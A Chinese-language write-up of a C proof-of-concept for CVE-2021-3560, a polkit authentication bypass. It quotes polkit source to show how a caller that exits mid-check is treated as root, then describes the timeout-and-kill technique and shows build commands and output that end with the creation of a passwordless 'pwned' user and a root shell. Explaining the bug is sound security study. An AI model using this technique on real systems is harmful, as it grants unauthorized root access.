基于C语言的可靠CVE-2021-3560漏洞利用程序。
昨天我偶然发现了Kevin Backhouse的这篇博客文章(发现了这个漏洞),我尝试了文章中提供的bash命令,令我惊讶的是,它居然在我的Kali Linux机器上生效了!
CVE-2021-3560是polkit上的一个身份验证绕过漏洞,它允许无特权的用户通过DBus调用特权方法。该PoC利用此漏洞调用由accountsservice提供的两个特权方法(CreateUser 和 SetPassword),从而允许我们创建一个特权用户并为其设置密码。
polkit会检查调用者是否有权限调用此类方法,它首先检查调用者的用户ID,如果为零,则假定调用者为root,并直接允许操作而无需身份验证;否则,它会要求输入用户密码。
polkit_system_bus_name_get_creds_sync() 函数调用两个方法来获取调用者的UID和PID:GetConnectionUnixUser 和 GetConnectionUnixProcessID。这些调用的结果会被写入类型为 AsyncGetBusNameCredsData 的 data 结构体(该结构体初始化为0),并由回调函数 on_retrieved_unix_uid_pid() 处理。而 polkit_system_bus_name_get_creds_sync() 会阻塞,等待回调函数设置错误或设置UID和PID。
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // 初始化为0
GDBusConnection *connection = NULL;
GMainContext *tmp_context = NULL;
connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
if (connection == NULL)
goto out;
data.error = error;
tmp_context = g_main_context_new ();
g_main_context_push_thread_default (tmp_context);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* 名称 */
"/org/freedesktop/DBus", /* 对象路径 */
"org.freedesktop.DBus", /* 接口名称 */
"GetConnectionUnixUser", /* 方法 */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // 回调函数
&data); // 将data传递给回调函数以及方法的回复
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* 名称 */
"/org/freedesktop/DBus", /* 对象路径 */
"org.freedesktop.DBus", /* 接口名称 */
"GetConnectionUnixProcessID", /* 方法 */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // 回调函数
&data); // 将data传递给回调函数以及方法的回复
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // 在回调函数 on_retrieved_unix_uid_pid() 被调用之前阻塞
g_main_context_iteration (tmp_context, TRUE);
回调函数 on_retrieved_unix_uid_pid() 在每个方法调用后被调用来获取回复(UID和PID)或设置错误。该函数调用 g_dbus_connection_call_finish() 来获取回复,如果发生错误,则将 data.caught_error 设置为 TRUE 并返回(data.uid 和 data.pid 仍保持为0)。否则,它将检索到的值(UID或PID)赋值给 data.uid 或 data.pid(取决于检索到的是哪个值),然后返回。
static void
on_retrieved_unix_uid_pid (GObject *src, // 连接
GAsyncResult *res, // 异步结果对象
gpointer user_data) // 从前一个函数传递来的 data 参数
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error); // 完成并获取回复
if (!v) // 是否错误?
{
data->caught_error = TRUE;
}
else
{
guint32 value;
g_variant_get (v, "(u)", &value); // 解包回复,获取UINT32 (u)
g_variant_unref (v);
if (!data->retrieved_uid) // GetConnectionUnixUser 方法
{
data->retrieved_uid = TRUE;
data->uid = value;
}
else
{
g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID 方法
data->retrieved_pid = TRUE;
data->pid = value;
}
}
}
GetConnectionUnixUser 和 GetConnectionUnixProcessID 方法如果找到(调用者进程仍然连接到总线)则返回UID和PID,如果发生错误(例如调用者进程被杀死)则返回错误。
一旦 data.uid 和 data.pid 被设置,或者 data.caught_error 被设置,函数 polkit_system_bus_name_get_creds_sync() 将继续执行,而这里正是漏洞所在:polkit_system_bus_name_get_creds_sync() 在 data.caught_error 被设置时并不会返回错误,而是将 data.uid 中的值赋给 out_uid,并返回 TRUE(即使 data.caught_error 被设置)。out_pid 是指向 guint32 变量的指针,由 polkit_system_bus_name_get_user_sync() 调用 polkit_system_bus_name_get_creds_sync() 时传入:
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid, // 指针
guint32 *out_pid, // NULL
GCancellable *cancellable,
GError **error)
{
[snip]
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // 等待回调函数处理回复
g_main_context_iteration (tmp_context, TRUE);
if (out_uid) // TRUE
*out_uid = data.uid; // 即使出现错误也设置它 [!]
if (out_pid) // FALSE
*out_pid = data.pid; // 即使出现错误也设置它 [!]
ret = TRUE; // 即使出现错误也返回 TRUE [!]
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
利用方法:
如果进程A通过DBus调用一个特权方法,那么polkit会检查调用者的UID。如果进程A在发送消息后立即退出,那么方法 GetConnectionUnixUser 和 GetConnectionUnixProcessID 将返回错误,因为调用者进程已不存在。回调函数 on_retrieved_unix_uid_pid() 会将 data.caught_error 设置为TRUE,而 data.uid 和 data.pid 保持不变(这意味着它们都被设置为0,因为data结构体初始化为0)。函数 polkit_system_bus_name_get_creds_sync() 将继续执行,将 out_uid 设置为 data.uid(0),并返回TRUE。
一系列函数将持续返回假的UID(0),直到 polkit_backend_session_monitor_get_user_for_subject() 将 user_of_subject(基于假的UID构建)返回给 check_authorization_sync() 函数。该函数通过调用 identity_is_root_user(user_of_subject) 检查UID是否为root,如果返回TRUE,则进程A被授权。
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
[snip]
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL) // false
goto out;
/* 特殊情况:uid 0,root,始终有权执行任何操作 */
if (identity_is_root_user (user_of_subject)) // true
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL); // 授权调用者
goto out;
}
[snip]
我决定使用DBus C API编写一个PoC。我没有使用 sleep() 来等待消息发送到目标服务,而是利用了DBus函数提供的超时参数。通过(滥用)这个参数,我们可以强制函数在发送消息后立即返回,然后杀死进程,从而利用polkit上的漏洞绕过身份验证。详细技术细节请参考这篇博客文章。
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host: ./exploit
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] 创建用户 "pwned-1624301069" ...
[!] 用户已创建!
[*] 用户: pwned-1624301069, uid: 1007
[*] 为 "pwned-1624301069" 用户设置空密码..
[*] 已为 "pwned-1624301069" 用户设置空密码!
[!] 运行: "sudo su root" 以 "pwned-1624301069" 用户的身份获取root权限
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)